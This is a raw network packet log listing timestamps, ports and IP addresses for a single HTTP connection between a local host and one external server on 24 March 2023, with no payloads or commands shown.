Mar 24, 2023 01:27:09.877837896 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.877895117 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.877965927 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.877969027 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.878045082 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.878118992 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.878122091 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.878170013 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.878206968 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.878273010 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.878346920 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.878421068 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.878448009 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.878448009 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.878489017 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.878536940 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.878546953 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.878618002 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.878675938 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.878736973 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.878736973 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.878787041 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.878848076 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.878922939 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.878931999 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.878995895 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.879064083 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.879139900 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.879185915 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.879225016 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.879287958 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.879353046 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.879353046 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.879359961 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.879436970 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.879513025 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.879518986 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.879586935 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.879653931 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.879709005 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.879714966 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.879795074 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.879859924 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.879889011 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.879935980 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.879970074 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.879995108 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.880064011 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.880099058 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.880124092 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.880197048 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.880254984 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.880280018 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.880326986 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.880388021 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.880410910 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.880458117 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.880517006 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.880573034 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.880573034 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.880589962 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.880651951 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.880717993 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.880723953 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.880784035 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.880857944 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.880917072 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.880973101 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.880973101 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.880987883 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.881047964 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.881115913 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.881175995 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.881180048 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.881247044 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.881305933 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.881371021 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.881371975 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.881377935 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.881439924 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.881545067 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.936948061 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.937042952 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.937103033 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.937159061 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.937215090 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.937268972 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.937328100 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.937386036 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.937450886 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.937530041 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.937537909 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.937598944 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.937608004 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.937608004 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.937678099 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.937755108 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.937757969 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.937757969 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.937757969 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.937820911 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.937880039 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.937937975 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.938004017 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.938064098 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.938070059 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.938137054 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.938144922 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.938146114 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.938199043 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.938256025 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.938313961 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.938370943 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.938440084 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.938498020 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.938498974 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.938558102 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.938616037 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.938672066 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.938767910 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.938827038 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.938863993 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.938880920 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.938937902 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.938991070 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.939050913 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.939112902 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.939143896 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.939169884 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.939225912 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.939296007 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.939354897 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.939410925 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.939412117 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.939410925 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.939469099 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.939527988 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.939567089 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.939599991 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.939659119 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.939723969 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.939781904 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.939781904 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.939781904 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.939841032 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.939897060 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.939965963 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.939984083 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.940025091 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.940095901 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.940095901 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.940095901 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.940154076 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.940207958 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.940280914 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.940336943 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.940397024 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.940470934 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.940536976 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.940536976 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.940536976 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.940546989 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.940612078 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.940645933 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.940681934 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.940737009 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.940737009 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.940757036 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.940814018 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.940869093 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.940926075 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.940980911 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.941047907 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.941076040 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.941106081 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.941162109 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.941216946 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.941278934 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.941292048 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.941346884 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.941418886 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.941452026 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.941452026 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.941488981 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.941489935 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.941560984 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.941631079 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.941690922 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.941690922 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.941690922 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.941701889 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.941775084 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.941782951 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.941847086 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.941873074 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.941901922 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.941919088 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.941987991 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.941994905 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.942055941 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.942066908 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.942126989 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.942195892 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.942254066 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.942255020 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.942255020 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.942265987 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.942337990 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.942364931 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.942409992 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.942456961 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.942456961 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.942481995 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.942545891 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.942553997 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.942625999 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.942713976 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.942728996 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.942728996 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.942783117 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.942816973 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.942854881 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.942857027 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.942924976 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.942924976 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.942996025 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.943033934 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.943062067 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.943067074 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.943137884 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.943140030 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.943211079 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.943280935 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.943342924 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.943342924 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.943342924 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.943351984 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.943428040 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.943485975 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.943485975 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.943495035 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.943546057 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.943567038 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.943622112 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.943636894 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.943707943 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.943777084 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.943845034 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.943851948 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.943851948 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.943851948 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.943913937 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.943970919 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.943999052 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.943999052 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.944026947 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.944035053 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.944083929 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.944117069 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.944152117 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.944152117 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.944204092 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.944212914 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.944212914 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.944257975 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.944307089 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.944355965 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.944363117 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.944363117 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.944363117 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.944533110 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:09.999844074 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.999927044 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:09.999986887 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.000128031 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.000276089 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.003863096 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.055691004 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.055771112 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.055829048 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.055885077 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.055941105 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.055972099 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.055973053 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.056000948 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.056073904 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.056083918 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.056155920 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.056220055 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.056274891 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.056332111 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.056397915 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.056457996 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.056457996 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.056457996 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.056468010 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.056526899 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.056583881 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.056627035 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.056641102 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.056747913 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.056803942 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.056862116 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.056919098 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.056976080 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.056989908 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.056989908 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.056989908 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.057034016 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.057091951 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.057151079 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.057164907 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.057209015 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.057235003 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.057297945 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.057356119 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.057414055 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.057472944 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.057506084 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.057558060 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.057615995 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.057662010 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.057662010 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.057671070 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.057729006 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.057756901 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.057825089 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.057878017 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.057883024 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.057940006 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.057998896 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.058057070 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.058089018 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.058118105 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.058156013 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.058176041 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.058231115 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.058255911 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:27:10.058309078 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:27:10.058393002 CET	80	49726	91.227.16.21	192.168.2.4
